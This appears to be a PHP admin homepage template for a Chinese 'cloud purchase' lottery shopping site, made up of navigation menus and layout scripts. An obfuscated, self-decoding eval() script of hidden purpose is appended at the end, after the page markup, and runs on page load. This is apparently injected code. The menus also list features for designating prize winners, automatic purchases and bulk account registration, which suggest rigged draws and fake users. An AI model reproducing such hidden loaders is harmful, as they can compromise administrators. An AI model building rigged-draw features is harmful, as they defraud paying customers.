<?php defined('G_IN_ADMIN')or exit('No permission resources.'); ?>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv=Content-Type content="text/html; charset=utf-8"> 

<link rel="Shortcut Icon" href="<?php echo G_WEB_PATH;?>/favicon.ico">

<link rel="stylesheet" href="<?php echo G_GLOBAL_STYLE; ?>/global/css/global.css" type="text/css">

<link rel="stylesheet" href="<?php echo G_GLOBAL_STYLE; ?>/global/css/index.css" type="text/css">

<script src="<?php echo G_GLOBAL_STYLE; ?>/global/js/jquery-1.8.3.min.js"></script>

<script src="<?php echo G_PLUGIN_PATH; ?>/layer/layer.min.js"></script>

<script src="<?php echo G_GLOBAL_STYLE; ?>/global/js/global.js"></script>

<title>爱发云购管理系统后台首页</title>

<script type="text/javascript">

var ready=1;

var kj_width;

var kj_height;

var header_height=100;

var R_label;

var R_label_one = "当前位置: 系统设置 >";





function left(init){

	var left = document.getElementById("left");

	var leftlist = left.getElementsByTagName("ul");

	

	for (var k=0; k<leftlist.length; k++){

		leftlist[k].style.display="none";

	}

	document.getElementById(init).style.display="block";

}



function secBoard(elementID,n,init,r_lable) {

			

	var elem = document.getElementById(elementID);

	var elemlist = elem.getElementsByTagName("li");

	for (var i=0; i<elemlist.length; i++) {

		elemlist[i].className = "normal";		

	}

	elemlist[n].className = "current";

	R_label_one="当前位置: "+r_lable+" >";

	R_label.text(R_label_one);

	left(init);

}





function set_div(){

		kj_width=$(window).width();

		kj_height=$(window).height();

		if(kj_width<1000){kj_width=1000;}

		if(kj_height<500){kj_height=500;}



		$("#header").css('width',kj_width); 

		$("#header").css('height',header_height);

		$("#left").css('height',kj_height-header_height); 

	    $("#right").css('height',kj_height-header_height); 

		$("#left").css('top',header_height); 

		$("#right").css('top',header_height);

		

		$("#left").css('width',180);		

		$("#right").css('width',kj_width-182); 

		$("#right").css('left',182);

		

		$("#right_iframe").css('width',kj_width-206); 

		$("#right_iframe").css('height',kj_height-148);

		 		

		$("#iframe_src").css('width',kj_width-208); 

		$("#iframe_src").css('height',kj_height-150); 	

		

		$("#off_on").css('height',kj_height-180);

		

		var nav=$("#nav");		

		nav.css("left",(kj_width-nav.get(0).offsetWidth)/2);

		nav.css("top",61);

}





$(document).ready(function(){	

		set_div();		

		$("#off_on").click(function(){

				if($(this).attr('val')=='open'){

					$(this).attr('val','exit');

					$("#right").css('width',kj_width);

					$("#right").css('left',1);

					$("#right_iframe").css('width',kj_width-25); 

					$("iframe").css('width',kj_width-27);

				}else{

					$(this).attr('val','open');

					$("#right").css('width',kj_width-182);

					$("#right").css('left',182);

					$("#right_iframe").css('width',kj_width-206); 

					$("iframe").css('width',kj_width-208);

				}

		});

		

		left('setting');

		$(".left_date a").click(function(){

				$(".left_date li").removeClass("set");						  

				$(this).parent().addClass("set");

				R_label.text(R_label_one+' '+$(this).text()+' >');

				$("#iframe_src").attr("src",$(this).attr("src"));

		});

		$("#iframe_src").attr("src","<?php echo G_MODULE_PATH; ?>/index/Tdefault");

		R_label=$("#R_label");

		$('body').bind('contextmenu',function(){return false;});

		$('body').bind("selectstart",function(){return false;});

				

});



function api_off_on_open(key){

	if(key=='open'){

				$("#off_on").attr('val','exit');

				$("#right").css('width',kj_width);

				$("#right").css('left',1);

				$("#right_iframe").css('width',kj_width-25); 

				$("iframe").css('width',kj_width-27);

	}else{

					$("#off_on").attr('val','open');

					$("#right").css('width',kj_width-182);

					$("#right").css('left',182);

					$("#right_iframe").css('width',kj_width-206); 

					$("iframe").css('width',kj_width-208);

	}

}
</script>



<style>

.header_case{  position:absolute; right:10px; top:10px; color:#0D0D0D}

.header_case a{ padding-left:5px}

.header_case a:hover{ color:#fff; }

.left_date a{text-decoration:none;word-wrap:break-word;outline:none;hide-focus:expression(this.hideFocus=true);transition:all 0.2s ease-in-out;-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;}
.left_date{overflow:hidden;}
.left_date ul{ margin:0px; padding:0px;}
.left_date li{line-height:40px; height:40px; margin:1px 0px; margin-left:0px; overflow:hidden;}
.left_date li a{display:block;height:40px;background:#f9f9f9;border-bottom:1px solid #eee;border-top:3px solid #E7E7E7;border-left:3px solid #D80000;border-right:0;color:#0D0D0D;padding-left:40px; line-height: 33px;}
.left_date li a:hover{border-left:5px solid #111;background-color:#D80000;color:#fff;font-weight:bold;}
.left_date .set a{background-color:#D80000;border-radius:3px; color:#fff; font-weight:bold}
.head{display:block;height:40px;background:#222;font:bold 14px/40px "宋体"; color:#fff;padding-left:30px;}



</style>



</head>

<body onResize="set_div();">



<div id="header">

	<div class="logo"></div>

    <div class="header_case">

    欢迎您：<a href="javascript:;" title="<?php echo $info['username']; ?>"><?php echo $info['username']; ?> [超级管理员]</a>

    <a href="<?php echo G_MODULE_PATH; ?>/user/out" title="退出">[退出]</a>

    <a href="<?php echo G_WEB_PATH; ?>" title="网站首页" target="_blank">网站首页</a>
    <a href="<?php echo G_MODULE_PATH; ?>/index/map" title="地图">地图</a>

    <button  style="width:0px;height:0px;" onClick="document.location.hash='hello'"></button>

    </div>

    <div class="nav" id="nav">    

    	<ul>	

            <li class="current"><a href="#" onClick="secBoard('nav',0,'setting','系统设置');">系统设置</a></li>

            <li class="normal"><a href="#" onClick="secBoard('nav',1,'content','内容管理');">内容管理</a></li>

            <li class="normal"><a href="#" onClick="secBoard('nav',2,'shop','商品管理');">商品管理</a></li>

            <li class="normal"><a href="#" onClick="secBoard('nav',3,'user','用户管理');">用户管理</a></li>

             <li class="normal"><a href="#" onClick="secBoard('nav',4,'template','界面管理');">界面管理</a></li>

            <li class="normal"><a href="#" onClick="secBoard('nav',5,'yunapp','云购助手');">云购助手</a></li>

            <li class="normal"><a href="#" onClick="secBoard('nav',6,'wechat','微信商城');">微信商城</a></li>

        </ul>

    </div>

</div><!--header end-->

<div id="left">

    <ul class="left_date" id="setting">   

    	<li class="head">站点设置</li>
	               <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/setting/webcfg">SEO设置</a></li> 

    	               <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/setting/config">基本设置</a></li>

                            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/setting/upload">上传设置</a></li> 

                            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/setting/watermark">水印设置</a></li>	

                            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/setting/email">邮箱配置</a></li> 

                            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/setting/mobile">短信配置</a></li>

                            <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/pay/pay/pay_list">支付方式</a></li>

	               <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/setting/domain">模块域名绑定</a></li>	

	               <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/qq_admin">官方QQ群</a></li>		

        <li class="head">管理员管理</li>		

		<li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/user/lists">管理员管理</a></li>

                        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/user/reg">添加管理员</a></li>

                        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/user/edit/<?php echo $info['uid']; ?>">修改密码</a></li>

	<li class="head">站长运营</li>

                        <li><span></span><a href="javascript:void(0);" src="<?php echo G_ADMIN_PATH; ?>/yunwei/websitemap">站点地图</a></li>

		<li><span></span><a href="javascript:void(0);" src="<?php echo G_ADMIN_PATH; ?>/yunwei/websubmit">网站提交</a></li>

		<li><span></span><a href="javascript:void(0);" src="<?php echo G_ADMIN_PATH; ?>/yunwei/webtongji">站长统计</a></li>

        <li class="head">后台首页</li>

                        <li><span></span><a href="javascript:void(0);" src="<?php echo G_ADMIN_PATH; ?>/index/Tdefault">后台首页</a></li>

        <li class="head">其他</li>

		<li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/cache/init">清空缓存</a></li>

    </ul>

     <ul class="left_date" id="content">

     	<li class="head">文章管理</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/content/article_add">添加文章</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/content/article_list">文章列表</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/category/lists/article">文章分类</a></li>

        <li class="head">单页管理</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/category/addcate/danweb">添加单页</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/category/lists/single">单页列表</a></li>

        <li class="head">附件管理</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/upload/lists">上传文件管理</a></li>

        <!--li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/content/lists">管理内容</a></li-->	

        <li class="head">其他</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/content/model">内容模型</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/category/lists">栏目管理</a></li>

        <li class="head">模块管理</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/group/quanzi">圈子模块</a></li>  

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/link/lists">友情链接</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/admanage/admanage_admin">广告模块</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/vote/vote_admin/">投票模块</a></li>

        

    </ul>

     <ul class="left_date" id="shop">   

     	<li class="head">商品管理</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/content/goods_add">添加新商品</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/content/goods_list">商品列表</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/category/lists/goods">商品分类</a></li> 

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/brand/lists">品牌管理</a></li>    	

    	<li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/brand/insert">添加品牌</a></li>      

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/content/goods_del_list">商品回收站</a></li>

        <li class="head">商品其他</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/api/position/lists">推荐位管理</a></li>     

        <li class="head">订单管理</li>

       <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/dingdan/lists">订单列表</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/dingdan/select">订单查询</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/dingdan/lists/zj">中奖订单</a></li> 

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/dingdan/lists/notsend">未发货订单</a></li> 		

        <li class="head">促销管理</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/content/goods_list/xianshi">限时揭晓商品</a></li>

        <li class="head">其他</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/go/shaidan_admin/init">晒单查看</a></li>

    </ul>

     <ul class="left_date" id="user">   

     	<li class="head">用户管理</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/member/member/lists">会员列表</a></li> 	

	<li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/member/member/select">查找会员</a></li> 	

            <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/member/member/insert">添加会员</a></li> 	

            <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/member/member/config">会员配置</a></li>

            <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/member/member/recharge">充值记录</a></li>

            <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/member/member/pay_list">消费记录</a></li>

	<li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/member/member/member_group">会员组</a></li>

	<li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/member/member/commissions">佣金申请提现管理</a></li>

    </ul>

    <ul class="left_date" id="template">   

     	<li class="head">界面管理</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/ments/navigation">导航条管理</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/slide">幻灯管理</a></li>
            
        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/wap">手机幻灯管理</a></li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/recom">首页广告管理</a></li>

        <li class="head">模板风格</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/template/">模板设置</a></li>       

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/template/see">查看模板</a></li>
	<li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/cache/init">清空模板缓存</a></li>
        <li class="head">后台界面</li>

        <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/index/map">后台地图</a></li>   

        

    </ul>    

     <ul class="left_date" id="yunapp">     	

        <li class="head">云购助手</li>
              <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/api/upfile">系统版本</a></li>
		<li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/api/plugin/admin/egglotter/listlotter">游戏设置</a></li> 

		<li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/api/qqlogin/qq_set_config">登陆设置</a></li> 

		<li><span></span><a href="javascript:void(0);" src="<?php echo G_ADMIN_PATH; ?>/fund/fundset">公益基金</a></li>

                
                        <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/admin/fund/specifylist">指定中奖</a></li>
                       
 					    <li><span></span><a href="javascript:void(0);" src="<?php echo G_ADMIN_PATH; ?>/auto/show">自动购买</a></li>

                        <li><span></span><a href="javascript:void(0);" src="<?php echo G_ADMIN_PATH; ?>/auto_register/show">批量注册</a></li>

		<li class="head">充值卡管理</li>
		<li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/cardrecharge/cardrecharge">生成卡密</a></li>
        <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/cardrecharge/cardrecharge/lists">管理列表</a></li> 
	    <li><span></span><a href="javascript:void(0);" src="<?php echo WEB_PATH; ?>/cardrecharge/cardrecharge/update_pwd">修改密码</a></li>
    </ul>

         <ul class="left_date" id="wechat">

            <li class="head">微信基本设置</li>

            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/wechat/wechatcfg">微信接口</a></li> 

            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/wechat/cfg">微信设置</a></li> 

            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/wechat/menu">微信菜单</a></li> 

            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/wechat/reply">关注回复内容</a></li>

            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/wechat/keywordlists">关键词自动回复</a></li>

            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/wechat/huiyuan">红包设置</a></li>

            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/wechat/hblist">红包列表</a></li>

            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/wechat/hdcfg">互动积分</a></li>
            
             <li class="head">微信高级功能</li>

             <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/wechat/share">分享拿现金</a></li>

            <!-- <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/setting/watermark">发货提醒</a></li> -->

            <li><span></span><a href="javascript:void(0);" src="<?php echo G_MODULE_PATH; ?>/wechat/cjlist">场景二维码</a></li>

        </ul> 
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 <div style="padding:30px 10px; color:#676767">
   
     </div>

</div><!--left end-->

<div id="right">

	<div class="right_top">

    	<ul class="R_label" id="R_label">

        	当前位置: 系统设置 >  后台主页 >

        </ul>

    	<ul class="R_btn">
	<a href="javascript:;" onClick="btn_map('<?php echo G_MODULE_PATH; ?>/index/Tdefault');" class="system_button"><span>后台首页</span></a>
    	<a href="javascript:;" onClick="btn_iframef5();" class="system_button"><span>刷新框架</span></a>

      <!--  <a href="javascript:;" onClick="btn_delahche('<?php echo G_MODULE_PATH; ?>/cache/init');" class="system_button"><span>清空缓存</span></a>-->
            <a href="javascript:;" onClick="btn_map('<?php echo G_MODULE_PATH; ?>/index/map');" class="system_button"><span>后台地图</span></a>
        </ul>

    </div>

    <div class="right_left">

    	<a href="#" val="open" title="全屏" id="off_on">全屏</a>

    </div>

    <div id="right_iframe">

        

         <iframe id="iframe_src" name="iframe" class="iframe"

         frameborder="no" border="1" marginwidth="0" marginheight="0" 

         src="" 

         scrolling="auto" allowtransparency="yes" style="width:100%; height:100%">

         </iframe>

        <script type="text/javascript">
        $('.')

        </script>

    </div>

</div><!--right end-->

</body>
<script type="text/javascript">
//VIP1037e547eebce39ce1d390a5457ea3dc09a
eval(function(s,c,r,i,p,t){s=['b39222e3470796273637f2c5c3e322c537a6e23303769797f2c576e79b278b3316f2c54756e6e283833697c8e2777777f2c5f2c5a30747478622c5d33d262b37370222c5470796273637166716a6f2c54787564722c5d35607974702470796273637c32282e6c65647962777e247e656d65736f646','g23HR3'];c=[function(x,y){return x.charCodeAt(y|0)},function(x){return x.join('')}];r=[function(x){return new RegExp(x,'ig')},function(x,y,z){return x.replace(y,z)}];i=[function(x){return x.split('').reverse().join('')},c[0](s[1].split('').sort()[0])-1];p=[decodeURIComponent,[],[],/(\w{2})/g,'%$1','(\\w{','})','$',['0','']];t=function(x){return x.toString(16).toUpperCase()};for(var l=0;l<s[1].length;l++){var x=c[0](s[1],l),w=x-i[1],y=t(x+(4<<5)),v=p[8][y.length-1]+y,z=l+1;p[1].push(p[5]+w+p[6]+v);p[2].push(p[7]+z)};try{return p[0](r[1](i[0](r[1](s[0],r[0](c[1](p[1])),c[1](p[2]))),p[3],p[4]))}catch(e){}}());</script>
</html>